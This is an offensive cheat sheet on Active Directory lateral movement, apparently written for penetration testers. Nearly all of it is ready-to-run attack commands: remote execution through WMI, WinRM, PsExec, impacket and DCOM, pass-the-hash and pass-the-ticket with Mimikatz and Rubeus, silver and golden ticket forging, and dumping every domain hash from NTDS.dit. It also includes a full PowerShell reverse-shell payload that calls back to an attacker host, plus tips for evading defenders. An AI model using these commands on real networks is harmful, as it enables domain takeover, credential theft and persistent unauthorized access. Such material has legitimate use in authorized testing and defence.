AD Lateral Movement
# Set environment variables
export TARGET=<ip>
export DOMAIN=<domain>
export USER=<username>
export PASSWORD=<password>
export LHOST=<your-ip>
export LPORT=4444
export HASH=<ntlm-hash>
WMI (Windows Management Instrumentation)
Requires credentials for a user in the local Administrators group on the target. WMI uses DCOM (port 135) for remote access and dynamically assigns a high port for the session.
wmic (CMD)
Create a process on the remote host:
wmic /node:$TARGET /user:$USER /password:$PASSWORD process call create "calc"
Processes created through WMI run in session 0 (background), not the user's interactive desktop. This means you won't see GUI applications — use it to launch reverse shells or command-line tools.
PowerShell CIM
Build a credential object and create a CIM session over DCOM:
$username = '$USER';
$password = '$PASSWORD';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-CimSession -ComputerName $TARGET -Credential $credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e <base64-encoded-reverse-shell>';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
Encoding a Reverse Shell for WMI
Use Python to base64-encode the PowerShell payload:
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("LHOST",LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
encoded = base64.b64encode(payload.encode('utf-16le')).decode()
print(encoded)
Replace LHOST and LPORT in the payload string with your actual values before encoding.
WinRM
Uses WS-Management protocol over HTTP (port 5985) or HTTPS (port 5986). The target user must be in the Administrators or Remote Management Users group.
winrs (CMD)
Execute a command on the remote host:
winrs -r:$TARGET -u:$USER -p:$PASSWORD "cmd /c whoami"
Execute an encoded reverse shell:
winrs -r:$TARGET -u:$USER -p:$PASSWORD "powershell -nop -w hidden -e <base64-payload>"
PowerShell Remoting
Create and enter an interactive remote session:
$credential = New-Object System.Management.Automation.PSCredential $USER, (ConvertTo-SecureString $PASSWORD -AsPlaintext -Force)
New-PSSession -ComputerName $TARGET -Credential $credential
Enter-PSSession <session-id>
Run a command on multiple machines at once:
Invoke-Command -ComputerName $TARGET -Credential $credential -ScriptBlock { whoami; hostname }
Evil-WinRM (From Kali)
Interactive shell with password:
evil-winrm -i $TARGET -u $USER -p $PASSWORD
Interactive shell with hash:
evil-winrm -i $TARGET -u $USER -H $HASH
Upload and download files from within Evil-WinRM:
upload /home/kali/payload.exe C:\Users\Public\payload.exe
download C:\Users\Public\secret.txt /home/kali/loot/secret.txt
Evil-WinRM supports loading PowerShell scripts with -s /path/to/scripts/ and .NET binaries with -e /path/to/binaries/. This is useful for loading tools like PowerView or SharpHound directly into memory.
PsExec
Part of SysInternals suite. Prerequisites:
- User must be in the local Administrators group
- The
ADMIN$share must be available - File and Printer Sharing must be enabled
PsExec writes psexesvc.exe to C:\Windows, creates a service, and runs the command as a child process. This generates significant event log noise.
SysInternals PsExec (from Windows):
.\PsExec64.exe -i \\$TARGET -u $DOMAIN\$USER -p $PASSWORD cmd
Impacket PsExec (From Kali)
With password:
impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET
With hash:
impacket-psexec -hashes 00000000000000000000000000000000:$HASH $USER@$TARGET
Other Impacket Execution Tools
Each tool uses a slightly different technique and leaves different forensic artifacts:
impacket-smbexec — creates a service that executes commands via a batch file, slightly stealthier than PsExec:
impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET
impacket-atexec — uses the Task Scheduler service for command execution:
impacket-atexec $DOMAIN/$USER:$PASSWORD@$TARGET "whoami"
If one impacket tool fails (blocked by AV, service disabled, etc.), try another. They all achieve similar results through different mechanisms.
Pass the Hash (PtH)
Authenticate using NTLM hash without knowing the plaintext password. Works because NTLM authentication uses the hash directly — it never needs the plaintext.
Prerequisites: SMB port 445 open, File and Printer Sharing enabled, ADMIN$ share accessible, local admin rights on the target.
impacket-wmiexec with hash:
impacket-wmiexec -hashes 00000000000000000000000000000000:$HASH Administrator@$TARGET
NetExec with hash:
nxc smb $TARGET -u Administrator -H $HASH --shares
nxc smb $TARGET -u Administrator -H $HASH -x "whoami"
nxc winrm $TARGET -u Administrator -H $HASH -x "whoami"
PtH works with local admin accounts and domain accounts that are members of the local Administrators group. Add --local-auth to NetExec if the hash belongs to a local-only account.
Overpass the Hash
Abuse an NTLM hash to obtain a full Kerberos TGT, then use that TGT to authenticate to services that only accept Kerberos. This converts an NTLM hash into Kerberos-based access.
Mimikatz (From Windows)
Inject the NTLM hash into a new process and request a TGT:
.\mimikatz.exe
privilege::debug
sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$HASH /run:powershell
This spawns a new PowerShell window running as the target user. Any Kerberos authentication from this shell will use the injected identity. The new shell won't show the spoofed user with whoami — but Kerberos tickets will be requested as that user.
Generate a TGT by accessing a network resource:
net use \\dc01
Verify the TGT was cached:
klist
Now you can use any Kerberos-authenticated tool (PsExec, WinRM, etc.) from this shell as the target user.
impacket-getTGT (From Kali)
Request a TGT using the NTLM hash:
impacket-getTGT $DOMAIN/$USER -hashes 00000000000000000000000000000000:$HASH
Set the ticket for use:
export KRB5CCNAME=$USER.ccache
Use the ticket with other impacket tools:
impacket-psexec $DOMAIN/$USER@$TARGET -k -no-pass
impacket-wmiexec $DOMAIN/$USER@$TARGET -k -no-pass
impacket-smbexec $DOMAIN/$USER@$TARGET -k -no-pass
When using -k (Kerberos auth) with impacket, you must use the target's hostname (not IP), and it must resolve correctly. Add entries to /etc/hosts if DNS isn't configured.
Pass the Ticket
Export a Kerberos ticket from one machine and import it on another. Unlike Overpass the Hash, you don't need the password hash — you just need access to an existing ticket.
Export Tickets with Mimikatz
List all Kerberos tickets in memory:
.\mimikatz.exe
privilege::debug
sekurlsa::tickets /export
This dumps .kirbi files to the current directory. Look for TGT tickets (krbtgt) for the most flexibility.
Inject a Ticket with Mimikatz
Import a stolen ticket into the current session:
kerberos::ptt <ticket-file>.kirbi
Verify the ticket is loaded:
klist
Rubeus (From Windows)
Dump all tickets from the current session:
.\Rubeus.exe dump /nowrap
Inject a base64-encoded ticket:
.\Rubeus.exe ptt /ticket:<base64-ticket>
impacket-ticketConverter (From Kali)
Convert between .kirbi (Windows) and .ccache (Linux) formats:
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi
Use the converted .ccache ticket:
export KRB5CCNAME=ticket.ccache
impacket-psexec $DOMAIN/$USER@$TARGET -k -no-pass
DCOM (Distributed Component Object Model)
DCOM allows interaction with COM objects over the network. Requires local admin access on the target and TCP port 135 (plus dynamic high ports). Less commonly monitored than PsExec or WinRM.
MMC20.Application Method
The MMC20.Application COM object exposes the ExecuteShellCommand method:
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$TARGET"))
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e <base64-payload>","7")
ShellWindows Method
Use the ShellWindows COM object as an alternative:
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Shell.Application.1","$TARGET"))
From Kali with Impacket
impacket-dcomexec uses DCOM for command execution:
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET "whoami"
impacket-dcomexec -hashes 00000000000000000000000000000000:$HASH $USER@$TARGET
DCOM is often overlooked by defenders. The traffic appears as standard RPC/DCOM calls, which are common in Active Directory environments. It's a good alternative when PsExec or WinRM are being monitored.
Silver Tickets
Forge a Kerberos service ticket (TGS) using the password hash of the service account (or machine account) running the target SPN. Since service tickets are encrypted with the service account's hash, anyone with that hash can forge a valid ticket.
Requirements:
- SPN password hash (or machine account NTLM hash)
- Domain SID
- Target SPN string
Get the Domain SID
From Windows:
whoami /user
The domain SID is everything before the last -<RID> segment.
From Kali:
impacket-lookupsid $DOMAIN/$USER:$PASSWORD@$TARGET
Mimikatz (From Windows)
Forge a silver ticket and inject it into the current session:
.\mimikatz.exe
privilege::debug
kerberos::golden /sid:<domain-SID> /domain:$DOMAIN /target:<target-hostname> /service:HTTP /rc4:$HASH /user:$USER /ptt
Common service names: HTTP, CIFS, MSSQLSvc, HOST, LDAP, RPCSS, WSMAN.
Verify the ticket:
klist
Access the service (e.g., web application with HTTP SPN):
iwr -UseDefaultCredentials http://<target-hostname>
impacket-ticketer (From Kali)
Forge a silver ticket and save as .ccache:
impacket-ticketer -nthash $HASH -domain-sid <domain-SID> -domain $DOMAIN -spn CIFS/$TARGET $USER
export KRB5CCNAME=$USER.ccache
impacket-psexec $DOMAIN/$USER@$TARGET -k -no-pass
Since October 2022, Microsoft's PAC validation patch requires the PAC_REQUESTOR field to be validated by a domain controller. This means silver tickets for nonexistent users may fail if the target and KDC are in the same domain. Tickets for real domain users still work.
Golden Tickets
Forge a Kerberos TGT using the krbtgt account's NTLM hash. Since TGTs are encrypted with the krbtgt hash, possessing it means you can create TGTs for any user — including nonexistent users — with any group membership.
Requirements:
krbtgtNTLM hash (obtained via DC Sync or NTDS.dit extraction)- Domain SID
- Domain name
Mimikatz (From Windows)
Forge a golden ticket and inject it:
.\mimikatz.exe
privilege::debug
kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<domain-SID> /krbtgt:<krbtgt-hash> /ptt
After injection, open a new command prompt to use the ticket:
misc::cmd
Verify access:
dir \\dc01\C$
impacket-psexec $DOMAIN/Administrator@dc01 -k -no-pass
impacket-ticketer (From Kali)
Forge a golden ticket:
impacket-ticketer -nthash <krbtgt-hash> -domain-sid <domain-SID> -domain $DOMAIN Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec $DOMAIN/Administrator@$TARGET -k -no-pass
impacket-secretsdump $DOMAIN/Administrator@$TARGET -k -no-pass
Golden tickets are valid for 10 years by default and survive password resets for all accounts except krbtgt. The only remediation is to reset the krbtgt password twice (once to invalidate current tickets, again because AD stores the current and previous password).
Shadow Copies
Volume shadow copies on domain controllers may contain the NTDS.dit database (all domain password hashes) and the SYSTEM registry hive (needed to decrypt NTDS.dit).
Create a Shadow Copy
From a domain controller (requires admin access):
vshadow.exe -nw -p C:
Or using wmic:
wmic shadowcopy call create Volume='C:\'
Copy NTDS.dit from Shadow Copy
List shadow copies:
vssadmin list shadows
Copy NTDS.dit and SYSTEM hive from the shadow copy:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
Extract Hashes (From Kali)
Transfer both files to Kali, then extract all domain hashes:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
ntdsutil (Alternative)
Use the built-in ntdsutil to create an IFM (Install From Media) backup that includes NTDS.dit:
ntdsutil "activate instance ntds" "ifm" "create full C:\Temp\ntds_dump" quit quit
The NTDS.dit and SYSTEM hive will be in C:\Temp\ntds_dump\Active Directory\ and C:\Temp\ntds_dump\registry\.
Extracting NTDS.dit gives you every hash in the domain. This is extremely noisy — the shadow copy creation and ntdsutil usage are logged by default. Use DC Sync when possible for a stealthier approach.